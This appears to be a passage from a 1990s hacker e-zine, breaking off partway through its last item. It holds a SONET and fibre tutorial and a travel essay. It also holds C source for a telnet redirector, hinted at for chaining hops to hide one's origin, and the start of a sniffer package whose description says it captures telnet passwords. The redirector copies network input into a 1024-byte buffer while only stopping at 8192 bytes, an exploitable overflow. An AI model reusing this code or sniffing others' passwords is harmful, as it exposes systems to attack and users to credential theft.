data then 10 Mbps ethernet can transfer.

                --[MULTIPLEXING TECHNIQUES]--

        Building fast signaling equipment is expensive.  It is more cost
effective to implement several signaling devices in parallel.  These transmit
the light at different wavelengths down the fiber, effectively multiplexing
the signals.  This form of multiplexing is called WDM (wave division
multiplexing).  Just like the multiplexing techniques used with radio waves
to combine multiple RF signals, space is left between the signals to keep the
signals distinct.

                --[DISPERSION, MULTIMODE vs. SINGLEMODE]--

        The major enemy of fiber-optic signaling is dispersion.  Dispersion is
the tendency of light to spread out as it travels down the cable (it is
analogous to attenuation in copper cable) and is considerable because it
limits the effective maximum bitrate.
        The farther a pulse of light travels a fiber cable, the more it
spreads out, until eventually it will begin to interfere with the signals
ahead of it and behind it.  There are three forms of dispersion modal,
chromatic, and material;  and of these, modal is the most critical to
eliminate (the other two are less of a problem and are greatly diminished with
clean, high-quality lasers and cable).
        Modal dispersion can best described using the photon model of light (as
opposed to the wave model).  When photons in a light pulse travel down a fiber
cable, they each can travel slightly different paths through the fiber cable.
This difference in trajectory means that individual photons will travel
slightly different distances and reach the receiving end at different times.
For instance, one photon may travel straight down the cable, while another may
reflect off the core-cladding boundary several times.  This difference in
distances causes the light signal to spread out.
        There are two major types of fiber: multimode, and singlemode.  The
difference in these two is seeming innocuous; multimode fiber cable has a core
diameter of about 50 microns, while singlemode fiber has core diameter of 8-12
microns.  This difference in core diameter is enough to eliminate modal
dispersion in singlemode cable.  The photons of light have a much smaller path
they must adhere to and cannot physically move around enough to cause any
modal dispersion.  The drawback of singlemode fiber cable is that it is much
harder to install.  Multimode fiber is much more error-tolerant in fitting and
termination.

                --[SONET]--

        SONET (synchronous optical network) is an optical transmission
interface originally proposed by BellCore in 1984 and then standardized by
ANSI (American National Standards Institute).  SDH (synchronous digital
hierarchy) is a compatible version that was published by the CCITT
(International Consultative Committee on Telegraphy and Telephony).  The major
distinction between the two is that the SDH protocols are engineered for use
outside of North America.  As far as this paper is concerned, the two are
interchangeable, and SONET will be used to refer to both specifications.
Major differences will be noted.
        SONET is mainly a protocol for taking advantage of the high-speed
digital transmission capability of optical fiber.  It is designed primarily as
a replacement for copper wiring and is the transmission protocol used in
telephone company (telco) fiber.  Currently the only protocols for which SONET
standards exist are asynchronous transfer mode (ATM) and multiplexed telephony
circuits.
        The teleco's are the major drivers of SONET technology, and most fiber
used by them is based on SONET signaling.  Many researchers believe that since
the telco's provide such a large market for SONET technology, it will become
much more commonplace.  As soon as the SONET frame format (see below) become
standardized, this may become a reality.


                --[Mapping SONET to the OSI Model]--

        SONET protocols specify a physical interface which other higher-level
protocols (currently ATM and multiplexed telephony circuits) use as a physical
interface.
                        --------------
                        |Application |
                        --------------
                        |Presentation|
                        --------------
                        |  Session   |
                        --------------
                        | Transport  |
                        --------------
                        |  Network   |
                        --------------
                        | Data-Link  |
                        --------------    ---------
                        |  Physical  |    | SONET |
                        --------------    ---------

                --[SONET Data Rates]--

The SONET specification defines a standard list of digital data rates.  The
ANSI specification refers to OC-n (optical carrier level n) and STS-n
(synchronous transport signal level n)1 and the CCITT specification refers to
STM-n (synchronous transfer mode level n).  Transmission speeds are based on
the ubiquitous Digital Signal hierarchy (DSn).  Digital signaling is the
process of converting encoded binary data into discrete signals for
transmission across communications media. DS0 is rated at 64Kbps (Delta
channel ISDN), DS1 is rated at 1.544 Mbps (T-1 trunk line), and DS3 is rated
at 44.736 Mbps (T-3 trunk line).  The ANSI version rates differ from the CCITT
rates as follows:

------------------------------------------------------------------------------
| ANSI specification (SONET) | CCITT Specification (SDH) | Data Rate in Mbps |
------------------------------------------------------------------------------
|         STS/OC-1           |          --               |       51.84       |
------------------------------------------------------------------------------
|         STS/OC-3           |          STM-1            |       155.52      |
------------------------------------------------------------------------------
|         STS/OC-9           |          STM-3            |       466.56      |
------------------------------------------------------------------------------
|         STS/OC-12          |          STM-4            |       622.08      |
------------------------------------------------------------------------------
|         STS/OC-18          |          STM-6            |       933.12      |
------------------------------------------------------------------------------
|         STS/OC-24          |          STM-8            |       1244.16     |
------------------------------------------------------------------------------
|         STS/OC-36          |          STM-12           |       1866.24     |
------------------------------------------------------------------------------
|         STS/OC-48          |          STM-16           |       2488.32     |
------------------------------------------------------------------------------

        The subtle distinction between STS and OC is that OC describes an STS
bitstream after it has been converted into optical signals.

                --[SONET Frame Format]--

        SONET, like other low-level interfaces, transports data in frames.
Each frame can logically be thought of as a matrix of bytes, with 90 columns
and 9 rows.  For a given OC-n data rate, the unit of transmission in n(OC-1)
frames.  This is to say that OC-1 transmits data in one frame, while OC-3
transmits data in groups of 3 (OC-1) frames.
        The first 3 columns (27 bytes per OC-1 frame) contain transport
overhead information, the first 3 rows contain regenerator overhead
information, and the last 5 rows contain multiplexor overhead information.
Regenerator information needs to be processed at every repeater while
multiplexor information needs to be processed at every multiplexor.  The data
portion of a SONET frame is simply a collection of bytes which is formatted
by the network layers above.  As was stated earlier, there exists standards
for ATM cells or multiplexed telephone circuits.
        Although the purpose of each of the bytes in the SONET frame structure
is specified, in several cases the format of their contents is not.  In order
to utilize SONET now, many vendors have developed proprietary schemes for
encoding the bytes.  This is not in the best interest of the protocol as it
does not promote multi-vendor interoperability.

                --[SONET NETWORK ISSUES]--

        SONET addresses the following networking issues:

- It establishes a standard multiplexing format using any number of 51.84 Mbps
signals as building blocks.  The 51.84 Mbps signaling rate is the standard
rate upon which all ANSI SONET bitrates are based.  Since each SONET signal
can encompass a DS3 signal, it can interoperate with existing high-bitrate
solutions.
- It establishes an optical-signal standard for interconnecting equipment from
different suppliers.  This is desirable to allow multi-vendor
interoperability, and promote 'open systems'.
- It establishes extensive operations, administration, and maintenance
capabilities as part of the standard.  This is commonly refered to as OAM.
- It defines a synchronous-multiplexing format for carrying lower-level
digital signals (DS0-DS2, CCITT standards).
- It establishes a flexible architecture capable of accommodating higher-level
protocols such as B-ISDN and ATM with a variety of high-speed transmission
rates.

                --[SONET LAYERS]--

        Just like network protocol stacks, SONET can itself be broken down
into distinct layers:

- Photonic:  This is the lowest level.  It is responsible for specifying the
type of optical fiber used and such minute details as the required wattage and
dispersion characteristics of the transmission lasers, and the sensitivity
characteristics of the receiving photodetectors.  This layer also converts
electrical signals to optical signals.  This is the layer where STS-n signals
become OC-n pulses.
- Section:  This layer creates the SONET frames that will zip across the
cable.  This layer is responsible for framing, scrambling and error monitoring.
- Line:  This layer is responsible for synchronization, and multiplexing of
data.
- Path:  This layer provides a low-level end-to-end transport of data at the
appropriate signaling rate.

                --[SONET PRO'S AND CON'S]--

        Pro's of SONET:

- Fast.  SONET is a very fast physical interface.  (Up to 2.4 Gbps)
- Takes full advantage of fiber (low error rate and ultra-high bitrates).
- Perfect for delay sensitive traffic (such as video and voice) and mixed
traffic.
- Bitrates scale.  You only have to pay for what you need, and can upgrade
later with a minimal amount of hassle.
- Establishes a flexible architecture upon which several giga-bit protocols
may be stacked.
- The phone company has already started implemented SONET in thier phone
networks.  If the telco's are using SONET, we are using SONET.
- Implementations of ATM already have defined interfaces for SONET.

        Con's of SONET

- The major obstacle of SONET is proprietary byte encoding schemes.  Since
vendors want to deploy SONET products ASAP, they are developing their own
ideas for what some yet undefined frame contents should look like.  This does
not promote multi-vendor interoperbility.  And products that do not
interoperate, do not survive.  Ask IBM about that one.

                --[SUMMARY TOPICS]--

        SONET is a low-level interface protocol that runs over optical fiber
cable.  It specifies several bitrates, scaling from 51.84 Mbps to 2.48 Gbps.
It offers a flexible architecture that many higher level protocols may use as
a physical interface.  It currently is implemented in ATM networks and
telephone company WAN links.
        A simple comparison can made between SONET and FDDI (fiber distributed
data interface).  Both are low-level protocols using optical fiber as their
tranmission media. SONET maps to the first layer of  the OSI model, while FDDI
sits on the physical, as well as part of the data-link (the MAC) layer.  FDDI
is a deterministic system, passing a token around a physical ring of fiber
cable (SONET does not specify a media access method, because it does not sit
on the data-link layer).  SONET speicifes bit rates up to 2.4 Gbps, while FDDI
only signals upto 100 Mbps.
        SONET is fast.

                                  .oO____Oo.

                From Japan With Love

                        by The Nihilist

                                nihil@infonexus.com

The last two weeks here in Japan have been interesting, for I have been
setting up and testing a bleeding edge Interactive TV system for a trial
Nippon Telephone and Telegraph (NTT) is starting later this year.  Fibre
To The Home, got to love it.  The work was interesting under the
circumstances, but technically it was no different than my normal job.
Only Yokosuka has to be one of the most boring cities I have spent time
in, and I grew up in a *small* town.

What made the work different was the environment.  NTT is your average
company, some new technology, some *old* technology, and a big
bureaucracy to keep it that way.  An example is that there is a
distributed system with over a terabyte of hard disk space and a gig of
RAM directly connected to homes with fibre, while across the hall is a
room filled with electro-mechanical switches connecting a couple hundred
phone calls a second.  My usual work environment is not what would be
considered normal: thousands of people working in a rather flat
management structure, large budgets, and high tech all the way.  So, it
was a good juxtaposition to keep my head straight.  When I wasn't
drinking that is.

If Yokosuka wasn't such a boring city, catering mostly to dull Navy boys
stationed there, maybe I wouldn't have spent all my free time
drinking...except we drank a lot in Tokyo too, well there goes that
theory.  Either way, we drank every night after work, and maybe twice a
day on weekends.  192 proof vodka Kamikazes, Kirin beer, takillya, and
bourbon all in one night, now that hurt.  And I never thought I would do
karaoke!  Satisfaction by the Stones done Devo style is what I am now
famous amongst my co-workers for.  But that was entirely unfair, because
a manager from our Japanese division took us there in a drunken stooper
without our consent or knowledge, ordered a bottle of bourbon for the
table, and signed us up for songs.  He pulled off some good Japanese pop
songs himself, but I fear us American boys ran *everyone* out of that
place.  Oh well.

How pervasive western culture is through out the world is something that
fucks my head often, and Japan is a crushing example to me.  Japan has
far older and deeper traditions than most cultures, but they are being
polluted by western images. I am not saying westerners are at fault for
this, rather it is that we are all at fault for this.  Tokyo brought me
back to my reasons and motivations behind my moral and philosophical
views faster than any place ever could.  This trip has been a paradox.  I
had to travel half way around the world to solidify my feelings of what
is so wrong at home.  Tokyo is an advertiser's dream jacked up on alittle
acid and a lot of speed.

I can't say that I didn't have fun in Tokyo though.  Shibuya is probably
on of the busiest shopping areas of the world, with an extremely high
percentage of the shoppers being under thirty.  It reminded me of being
in the downtown of a major US city on New Year's eve, except it was a
normal Saturday afternoon.  Japan is a pure consumer culture, and I was
in the heart of it.  Sixteen year old girls in $300 knee high boots,
miniskirts, and brand new $700 snowboards under arm walking down the
street...many of them.  My co-worker and I hit a bar in Shibuya, where I
quickly realized that there are many more women than men in Japan, or
else I went to all the right places!  We found ourselves surrounded by
beautiful twenty something women in knee high boots, minis, and armed
with cell phones (this was absolutely what the majority of younger women
in Japan are wearing now, cell phone not optional), who apparently like
American men with goatees....

As you might be able to tell, I am not going anywhere with this.  I
intended from the beginning to rattle off alittle of everything: some
techie stuff (I might get there), impressions of working with Japanese,
and apparently some of my views on modern society.  I haven't touched
heavily on any of them, so I guess I should start.

Our partners in Japan were very hospitable, and tried with varied success
to give us the support we needed (very successful), find us restaurants
to eat at (fairly unsuccessful, only because I am a strict vegetarian),
and show us a good time after work (successful, except for that damned
karaoke incident!).  Again, coming from a very fast paced company, I
sometimes find myself frustrated with the length of time the more
hierarchical companies take to respond to unplanned detours.  Most
Japanese companies have *strict* hierarchies.

I was in a meeting with engineers and managers of the largest Japanese PC
and peripheral maker, where a question was asked of a senior researcher,
who we all knew was carrying the weight of the project, fixing the code,
but not officially responsible for it, and the response was amazing.
There was this subtle body language exchange from the lead manager, the
researcher deferred the question to the person officially incharge of
developing the code, who in turn asked the researcher in Japanese what
was going on then regurgitated his answer in English.  Talk about
politics.  Fast paced controlled chaos verses slow precision.  We live
more dangerously, but probably make it to market quicker.

I am a lead for a group responsible for testing networking code for
Internet infrastructure and interactive TV applications.  We primarily
work with ATM, but we also do work with cable modems and ASDL.  ATM is
the only networking technology now that it is feasible to do Video On
Demand and other high-bandwidth interactive services on a large scale,
and it is easy to need more bandwidth than the common OC-3c physical
interface has to offer (155 Mbps. Actually 149.760 Mbps after framing ).
After protocol over head (5 byte ATM cell header and 8 byte AAL5
trailer), we see approximately 135 Mbps for data (including signaling,
ARP, and meta signaling messages) on a OC-3c link.  Given that MPEG2
video ranges from about 4-16Mbps (I think this is right, but I am not an
MPEG expert), on average one can only get 13 streams of MPEG2 video
through a OC-3c interface!  As a matter of scalability, OC-3c is hardly
sufficient for Video On Demand in anything but a trivial sized
deployment.  With statistical usage patterns and distributing the load
across many OC-3c NICs it is possible to accommodate hundreds of users,
but this is still trivial compared to user numbers of traditional cable
services.  ATM over OC-12c (and higher, such as OC-48c), which is
622Mbps, is more suitable for this kind of application, but unfortunately
there is not a whole lot of equipment available at this speed, especially
access network equipment.

By access networks I mean network infrastructures such as fibre to the
home (FTTH), fibre to the curb (FTTC), and hybrid fibre coax (HFC), all
of which impose different restrictions on network resources.  In FTTH,
for instance, there might be several endpoints (homes with set top boxes
or other devices) multiplexed into an OC-3c or OC-12c pipe to the
server(s).  Basically each endpoint is limited to a certain fraction of
the bandwidth to the server, or there is some dynamic resource allocation
management being done by the access network equipment. ATM can be used
end to end, it is just the physical layer that is different in the access
network portion.  Also, the methods for obtaining well known server
addresses and other network resources may differ for each type of access
network (and with each implementation).

Protocols like DSM-CC (Digital Storage Media Command and Control) can be
used to do meta-signaling to obtain resources that are necessary to run
ATM end to end on an access networks, as well as to obtain well known
server addresses.  When there is a shared back channel, each endpoint
will have to use a different VPI/VCI combination to do signaling.
Meta-signaling can be used to obtain the appropriate VPI/VCI from the
network.  Once there is a signaling VC, the end point can dynamically
setup calls and functions as a normal ATM endpoint in a SVC environment.

OK, enough technobabble.  Now for my personal opinions and views on
modern society:  the revolution will come.  We can not go on in the
manner that we do.  It will stop, for many reasons.  Nihilism.  Rebirth.
A change in our fundamental thoughts and beliefs must occur for us to go
on as a society, for we have forgot what it is to be human.  Technology
will not solve our problems as a society (check out the Job's interview
in Wired).  At this point it hinders and allows us to hide, escape, from
what is happening to us.  I could write a book on my arguments for this
stance, but the sad thing is that it would do *no* good.  It would just
be an intellectual exercise that would be shelved with all the rest.  No,
it is far better to act, and that is what few do these days.

I told you this was an act of randomness, and you can now see that I
*have* gone nowhere with it.  Juxtaposition can be enlightening at times
though.

                                  .oO____Oo.

/*  Telnet redirector
 *   By Alhambra (alhambra@infonexus.com)
 *    Feb 11, 1995 release .9
 *    Usage:
 *            redirector -p localport [-h remotehost] [-r remoteport]
 *            ie:
 *            redirector -p 4300
 *            redirector -p 4400 -h whitehouse.gov -r 25
 *
 *   Should be fairly portable...to compile on:
 *   Solaris: gcc redirector.c -lsocket -lnsl -o redirector
 *   Linux:   gcc redirector.c -DLINUX -o redirector
 *   Irix:    gcc redirector.c -o redirector
 *
 *  I've tested this program on the above 3 OS's.  Porting to BSD based systems should be
 *  trivial( make the memsets into bzero's, etc)
 *
 *
 *    The idea behind this program is to be able to set up a redirector on some system, and be
 *    able to redirect your sessions through it.  For instance:
 *
 *    On host A, I run the redirector on port 4000:
 *    A:~ > redirector -p 4000
 *
 *    I'm on host B, and I want to go to host C.  SO I telnet to host A, port 4000
 *    B:~ > telnet A 4000
 *
 *    I'll be greeted with the following:
 *    Enter host:
 *
 *    Where I'll type 'C'
 *    Then I'll be asked:
 *    Enter port:
 *
 *    We're I'll enter 23 (telnet).
 *    And I'll be connected to host C.  Currently, the program doesn't support
 *    entering  a service name instead of a port number.  Oops.  I forgot.
 *    SHould be *very* easy to add.
 *    THis program is still in need of major cleaning up.  I runs fine, it's
 *    just ugly as sin.
 *
 *    I'd like to see a series of redirectors go up.  I think it'd be cool to be able to telnet
 *    around the world, just to get back to your own machine.  And if you can't see the possible
 *    uses of such a chain...oh well.
 *
 *    Other ideas for usage:
 *            replacment for sendmail on network machines.  Set up redirector on port 25, and
 *            redirect it to the place you'd like mail delivered.
 *
 *            run httpd on unpriveledged port.  SInce redirector is much smaller, run it
 *            on port 80, and have it redirect all requests to an httpd running as a normal
 *            user on a higher port.
 *
 *    Plans for redirector:
 *            I've been thinking of implementing some form of encryption between redirectors. So,
 *    one could theoretically run a redirecotr on their localhost, and on another machine, and go
 *    through thier local redirecotr, and out to the other redirector, and encrypt between the
 *    two.  It's an interesting possibilty, and anyone who is interested in undertaking such
 *    a project along with me, please let me know.
 *
 */

#include <sys/types.h>
#include <termios.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/syslog.h>
#include <sys/param.h>
#include <sys/times.h>
#ifdef LINUX
#include <sys/time.h>
#endif
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <arpa/inet.h>
#include <netdb.h>

extern int errno;

void
usage (char *progname)
{
  fprintf (stderr, "%s: -p LOCALPORT -h REMOTEHOST -r REMOTEPORT\n", progname);
  fprintf (stderr, "example:  %s -p 9100 -h foo.bar.com -r 25\n", progname);
  fflush (stderr);
  exit (1);
}

int
set_fl (int fd, int flags)
{                               /* set file descriptor props */
  int val;
  if ((val = fcntl (fd, F_GETFL, 0)) < 0)
    return (-1);
  val |= flags;
  if ((fcntl (fd, F_SETFL, val)) < 0)
    return (-1);
  return (0);
}

setup_socket (int *tcpsocket, short port)
{                               /* set up incoming socket */

  struct sockaddr_in serv_addr;

  if ((*tcpsocket = socket (AF_INET, SOCK_STREAM, 0)) < 0)
    {
      exit (-1);
    }

  memset (&serv_addr, 0, sizeof (serv_addr));

  serv_addr.sin_family = AF_INET;
  serv_addr.sin_addr.s_addr = htonl (INADDR_ANY);
  serv_addr.sin_port = htons (port);
  setsockopt(*tcpsocket,SOL_SOCKET,SO_REUSEADDR,0,0);
  setsockopt(*tcpsocket,SOL_SOCKET,SO_LINGER,0,0);
  if (bind (*tcpsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr)) < 0)
    return (-1);



  return (0);
}

void
feed_through (int tcpfd, int outfd)
{

  fd_set fdvar;
  char buffer[8192];
  int width;
  size_t numbytes;

  width = (tcpfd > outfd) ? tcpfd + 1 : outfd + 1;
  /* Flush the input buffer on the serial side */
  set_fl (outfd, O_NONBLOCK);
  while ((read (outfd, buffer, sizeof (buffer))) > 0)
    fprintf (stderr, "ERROR!\n");

  while (1)
    {
      FD_ZERO (&fdvar);
      FD_SET (tcpfd, &fdvar);
      FD_SET (outfd, &fdvar);

      select (width, &fdvar, (fd_set *) 0, (fd_set *) 0, NULL);
      if (FD_ISSET (tcpfd, &fdvar))
        {

          if ((numbytes = read (tcpfd, buffer, sizeof (buffer))) == 0)
            return;
          if ((write (outfd, buffer, numbytes)) != numbytes)
            {
              exit (-1);
            }
        }
      else if (FD_ISSET (outfd, &fdvar))
        {
          /* Read from the outfd and write to the tcp */
          if ((numbytes = read (outfd, buffer, sizeof (buffer))) == 0)
            return;
          if ((write (tcpfd, buffer, numbytes)) != numbytes)
            {
              exit (-1);
            }
        }
      else
        {
          exit (-1);
        }
    }
}

main (int argc, char *argv[])
{
  int c;
  extern char *optarg;
  extern int optind;
  int pset = 0, sset = 0, dset = 0, hset = 0;
  int port, remote, x, y;
  speed_t speed;
  char *host, buffer[1024], hosta[1024];
  struct hostent *nametocheck;
  int outfd, tcpfd;
  int client_len, tcpsocket, outsocket, serv_len, len;
  struct sockaddr_in client_addr;
  struct sockaddr_in serv_addr;
  struct in_addr outgoing;
  pid_t pid, pid2;

  while ((c = getopt (argc, argv, "p:r:h:")) != -1)
    switch (c)
      {
      case 'p':
        port = atoi (optarg);
        pset = 1;
        break;
      case 'r':
        remote = atoi (optarg);
        dset = 1;
        break;
      case 'h':
        host = optarg;
        hset = 1;
        break;
      case '?':
        usage (argv[0]);
        break;
      }

  /* Okay, now, let's daemonize outselves */

  signal (SIGTTOU, SIG_IGN);
  signal (SIGTTIN, SIG_IGN);
  signal (SIGTSTP, SIG_IGN);

  if ((c = fork ()) < 0)
    fprintf (stderr, "Can't fork. \n");
  else if (c > 0)
    exit (0);

  if (setpgrp () == -1)
    fprintf (stderr, "Can't change process group");

  if ((outfd = open ("/dev/tty", O_RDWR)) >= 0)
    {
      ioctl (outfd, TIOCNOTTY, (char *) NULL);
      close (outfd);
    }

  for (c = 0; c < NOFILE; c++)
    close (c);

  errno = 0;
  chdir ("/");
  umask (0);

  /* Bind the specified port. */
  if (setup_socket (&tcpsocket, port) == -1)
    {
      fprintf (stderr, "Error in seting up the socket. Aborting.\n");
      exit (-1);
    }

  listen (tcpsocket, 5);

  /* We wait for a connection on the spec. port */

  for (;;)
    {
      client_len = sizeof (client_addr);
      tcpfd = accept (tcpsocket, (struct sockaddr *) &client_addr, &client_len);

      outsocket = socket (AF_INET, SOCK_STREAM, 0);
      memset (&serv_addr, 0, sizeof (serv_addr));
      serv_addr.sin_family = AF_INET;

      /* Fork here.... */
      if ((pid = fork ()) < 0)
        {
          fprintf (stderr, "Fork Error!");
          exit (-1);
        }

      if (pid == 0)
        {                       /* Fork again, to eliminate zombies */
          if ((pid2 = fork ()) < 0)
            {
              exit (-1);
            }
          if (pid2 == 0)
            {close(tcpsocket);
              if (hset != 1)    /* if remote host isn't spec'd on the cmd line... */
                {
                  alarm (60);
                  x = 0;
                  write (tcpfd, "Enter host: ", 12);
                  len = read (tcpfd, buffer, 1);
                  while (buffer[0] != '\n')
                    {

                      hosta[x] = buffer[0];
                      x++;
                      if (x > 8192)
                        break;  /* if the host name is this long, something is not right... */
                      len = read (tcpfd, buffer, 1);
                    }

                  host = (char *) malloc (sizeof (char) * x - 2);
                  for (y = 0; y < x - 1; y++)
                    host[y] = hosta[y];

                  alarm (0);
                }
              if (dset != 1)    /* If port isn't spec'd on the cmd line... */
                {
                  alarm (60);
                  write (tcpfd, "Enter port: ", 12);
                  len = read (tcpfd, buffer, 100);
                  remote = atoi (buffer);

                  alarm (0);
                }
              /* Get our host name */
              nametocheck = gethostbyname (host);

              /* Ugly stuff to get host name into inet_ntoa form */
              (void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0],
                               sizeof (outgoing.s_addr));

              strcpy (host, inet_ntoa (outgoing));
              serv_addr.sin_addr.s_addr = inet_addr (host);
              serv_addr.sin_port = htons (remote);
                alarm(120);
              connect (outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
                alarm(0);
              feed_through (tcpfd, outsocket);  /* connect the two sockets, and go! */
              close (outsocket);
              close (tcpfd);
              exit (0);
            }
          exit ();
        }

      wait (NULL);              /* Wait for kid 1 to exit... */
      close (tcpfd);
      close (outsocket);

    }
  close (tcpsocket);
  return 0;
}

                                  .oO____Oo.

------------------------------------------
!  Mythrandir's Network Monitoring Tool  !
------------------------------------------

MNMT - Ya just try and pronounce that!
    Written for linux

The following code is the source to to two programs.  The first is called
Lister.  Lister has two arguments ethernet device and timeout.
The device is the interface that you wish to listen to packets from.
The device names on your box can be found by running ifconfig -a.
Lister will look at the next "timeout" number of packets, and list
all of the "unique" connections. A unique connection is defined by four
parameters.  These are source ip, destination ip, source port, and destination
port.  As long as all four of these are not the same as another connection
then it is unique.  This means that every ongoing connection is defined by
these parameters.  There are others in the header, but these are what make
each connection unique. (In reality duplicate connections are showing up,
and I am not certain why yet.  However, given my desire to actually release
this code, I am putting it out now.  I will be patching this up, so please
look for it on ftp.infonexus.com)
    Once you have found this nice list of connections, you can move on to
the next program. Watch is another simple program which will throw your
ethernet card into promiscous mode and monitor a connection.
All you must do is give it a device, and a unique connection.
For example..

Watch eth0 198 124 32 5 198 124 32 8 23 2580

This monitors a connection from 198.124.32.5 originating from the telnet
port (23), and going to port 2580 on 198.124.32.8
This will result in seeing an active connection.  Remember, that you want
the source port to be 23, if you want to be able to view the echo from
the telnet daemon. Otherwise you will only see key presses and such.

Watch will display the connection directly on your screen.  Also,
as an added bonus, if the keyword "Password" is detected it will turn
on a flag which will then display what the password typed was. The flag
will be turned off when the next \n is detected.  The reason for the flag is
this.  When a telnet connection is established all of the information that
is seen on the screen is that which is echoed back by the telnet daemon.
So, when you type in your password the reason you do not see it, is that
the telnet daemon does not echo it back.  Watch's flag tells Watch
that it should also display the keypresses sent to the connection.
This will sometimes result in seeing the person keypresses echo later.

Enjoy!

Mythrandir

PS: Watch for my further modifications of this program later.

    Sorry my article isn't long, but I think the code more than makes up for
it.  If you modify any of this program please drop me a mail about it at
mythrndr@infonexus.com as I'd be interested to hear about it

----------Cut Here And Stuff-------------------

#!/bin/sh
# This is a shell archive (produced by GNU sharutils 4.1).
# To extract the files from this archive, save it to some FILE, remove
# everything before the `!/bin/sh' line above, then type `sh FILE'.
#
# Made on 1996-02-12 05:16 CST by <root@caffeine>.
# Source directory was `/sytys/.warez/work/monitor'.
#
# Existing files will *not* be overwritten unless `-c' is specified.
#
# This shar contains:
# length mode       name
# ------ ---------- ------------------------------------------
#    553 -rw-r--r-- lister/connect.h
#    356 -rw-r--r-- lister/find.c
#     44 -rw-r--r-- lister/find.h
#   1739 -rw-r--r-- lister/connect.c
#     57 -rw-r--r-- lister/README
#   2734 -rw------- lister/lister.c
#   4268 -rw------- watcher/watch.c
#     47 -rw-r--r-- watcher/README
#    356 -rw-r--r-- watcher/find.c
#     44 -rw-r--r-- watcher/find.h
#
touch -am 1231235999 $$.touch >/dev/null 2>&1
if test ! -f 1231235999 && test -f $$.touch; then
  shar_touch=touch
else
  shar_touch=:
  echo
  echo 'WARNING: not restoring timestamps.  Consider getting and'
  echo "installing GNU \`touch', distributed in GNU File Utilities..."
  echo
fi
rm -f 1231235999 $$.touch
#
# ============= lister/connect.h ==============
if test ! -d 'lister'; then
  echo 'x - creating directory lister'
  mkdir 'lister'
fi
if test -f 'lister/connect.h' && test X"$1" != X"-c"; then
  echo 'x - skipping lister/connect.h (file already exists)'
else
  echo 'x - extracting lister/connect.h (text)'
  sed 's/^X//' << 'SHAR_EOF' > 'lister/connect.h' &&
#ifndef __CONNECT
#define __CONNECT
X
/*
X * connect.h contains the structures for connect.c
X */
X
struct connection {
X  char srcip[4];
X  char dstip[4];
X  char srcport;
X  int dstport;
X  unsigned long seq;
X  struct connection *prev;
X  struct connection *next;
X  int ttl;
X  };
X
/*
X * Prototypes
X */
X
int newconnection(char *, struct connection *);
struct connection *addconnection(char *, struct connection *);
int printconnections(struct connection *);
/*
X * Not implemented yet
X *   void filterconnection(struct connection *);
X */
X
#endif /* __CONNECT */
X
SHAR_EOF
  $shar_touch -am 0212034996 'lister/connect.h' &&
  chmod 0644 'lister/connect.h' ||
  echo 'restore of lister/connect.h failed'
  shar_count="`wc -c < 'lister/connect.h'`"
  test 553 -eq "$shar_count" ||
    echo "lister/connect.h: original size 553, current size $shar_count"
fi
# ============= lister/find.c ==============
if test -f 'lister/find.c' && test X"$1" != X"-c"; then
  echo 'x - skipping lister/find.c (file already exists)'
else
  echo 'x - extracting lister/find.c (text)'
  sed 's/^X//' << 'SHAR_EOF' > 'lister/find.c' &&
#include <string.h>
X
int Find(char * String, char * Match, int length2)
{
int length;
int i, k;
char buf[4096];
X
length = strlen(Match);
X
if(length2 < length)
X    return 0;
X
for(i = 0; i < (length2 - length); i++)
X    {
X    for(k = 0; k < length; k++)
X        buf[k] = String[k + i];
X    if(!strncmp(buf,Match,length))
X        return 1;
X    }
X
return 0;
}
SHAR_EOF
  $shar_touch -am 0209025996 'lister/find.c' &&
  chmod 0644 'lister/find.c' ||
  echo 'restore of lister/find.c failed'
  shar_count="`wc -c < 'lister/find.c'`"
  test 356 -eq "$shar_count" ||
    echo "lister/find.c: original size 356, current size $shar_count"
fi
# ============= lister/find.h ==============
if test -f 'lister/find.h' && test X"$1" != X"-c"; then
  echo 'x - skipping lister/find.h (file already exists)'
else
  echo 'x - extracting lister/find.h (text)'
  sed 's/^X//' << 'SHAR_EOF' > 'lister/find.h' &&
int Find(char * String, char * Match, int);
SHAR_EOF
  $shar_touch -am 0209024996 'lister/find.h' &&
  chmod 0644 'lister/find.h' ||
  echo 'restore of lister/find.h failed'
  shar_count="`wc -c < 'lister/find.h'`"
  test 44 -eq "$shar_count" ||
    echo "lister/find.h: original size 44, current size $shar_count"
fi
# ============= lister/connect.c ==============
if test -f 'lister/connect.c' && test X"$1" != X"-c"; then
  echo 'x - skipping lister/connect.c (file already exists)'
else
  echo 'x - extracting lister/connect.c (text)'
  sed 's/^X//' << 'SHAR_EOF' > 'lister/connect.c' &&
#include <stdio.h>
#include "connect.h"
X
struct connection *
addconnection(char *buf, struct connection *head)
X  {
X  struct connection *tmp;
X  tmp = (struct connection *) malloc(sizeof(struct connection));
X
X
X  tmp->srcip[0] = buf[26];
X  tmp->srcip[1] = buf[27];
X  tmp->srcip[2] = buf[28];
X  tmp->srcip[3] = buf[29];
X  tmp->dstip[0] = buf[30];
X  tmp->dstip[1] = buf[31];
X  tmp->dstip[2] = buf[32];
X  tmp->dstip[3] = buf[33];
X  tmp->srcport = buf[34] * 256 + buf[35];
X  tmp->dstport = buf[36] * 256 + buf[37];
X  tmp->next = head;
X  tmp->prev = NULL;
X  if(head != NULL)
X    {
X    head->prev = tmp;
X    }
X  head = tmp;
return(tmp);
X  }
X
int
newconnection(char *buf, struct connection *head)
X  {
X  struct connection *tmp;
X  tmp = head;
X  while(tmp != NULL)
X    {
X    if(
X    (tmp->srcip[0] == buf[26]) &&
X    (tmp->srcip[1] == buf[27]) &&
X    (tmp->srcip[2] == buf[28]) &&
X    (tmp->srcip[3] == buf[29]) &&
X    (tmp->dstip[0] == buf[30]) &&
X    (tmp->dstip[1] == buf[31]) &&
X    (tmp->dstip[2] == buf[32]) &&
X    (tmp->dstip[3] == buf[33]) &&
X    (tmp->srcport == buf[34] * 256 + buf[35]) &&
X    (tmp->dstport == buf[36] * 256 + buf[37]))
X      {
X      return 0;
X      }
X    tmp = tmp->next;
X    }
X  return 1;
X  }
X
int
printconnections(struct connection *head)
X  {
X  int num = 0;
X  struct connection *tmp;
X  tmp = head;
X
X  while(tmp != NULL)
X    {
X    printf("%d: src:%d.%d.%d.%d %d dst:%d.%d.%d.%d %d\n",
X    num,
